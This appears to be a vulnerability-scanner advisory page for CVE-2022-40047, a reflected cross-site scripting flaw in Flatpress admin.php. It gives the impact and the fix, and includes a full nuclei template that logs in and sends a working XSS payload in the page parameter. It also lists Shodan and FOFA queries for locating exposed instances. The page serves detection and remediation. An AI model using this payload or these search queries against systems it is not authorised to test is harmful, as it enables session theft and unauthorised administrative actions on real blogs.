Flatpress < v1.2.1 - Cross Site Scripting

mediumseverity

5.4CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

Flatpress v1.2.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the page parameter at /flatpress/admin.php.

Impact

Authenticated attackers can inject malicious JavaScript through the page parameter in admin.php that executes in other users' browsers, potentially stealing session tokens or performing unauthorized actions in Flatpress blog administration.

Fix

Update Flatpress to a version later than 1.2.1 that properly sanitizes and encodes the page parameter in admin.php.

How to confirm it

Send: POST /login.php ; GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.domain%29%22autofocus%3d%22zr4da
Positive when: status_code_2 == 200 and contains(body_2, "flatpress") and contains(content_type_2, "text/html") and contains(body_2, "onfocus=\"alert(document.domain)")

Run it with nuclei: nuclei -id CVE-2022-40047 -u <target>

The full check

id: CVE-2022-40047

info:
  name: Flatpress < v1.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Flatpress v1.2.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the page parameter at /flatpress/admin.php.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the page parameter in admin.php that executes in other users' browsers, potentially stealing session tokens or performing unauthorized actions in Flatpress blog administration.
  remediation: |
    Update Flatpress to a version later than 1.2.1 that properly sanitizes and encodes the page parameter in admin.php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40047
    - https://github.com/flatpressblog/flatpress/issues/153
    - http://flatpress.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-40047
    cwe-id: CWE-79
    epss-score: 0.01418
    epss-percentile: 0.73018
    cpe: cpe:2.3:a:flatpress:flatpress:1.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: flatpress
    product: flatpress
    shodan-query:
      - http.html:"flatpress"
      - http.favicon.hash:-1189292869
    fofa-query:
      - body="flatpress"
      - icon_hash=-1189292869
  tags: cve,cve2022,flatpress,authenticated,xss,intrusive,vuln
variables:
  randstring: "{{to_lower(rand_base(16))}}"

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstring}}

        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="user"

        {{username}}
        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="pass"

        {{password}}
        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="submit"

        Login
        ------WebKitFormBoundary{{randstring}}--
      - |
        GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.domain%29%22autofocus%3d%22zr4da HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "flatpress")'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=\"alert(document.domain)")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from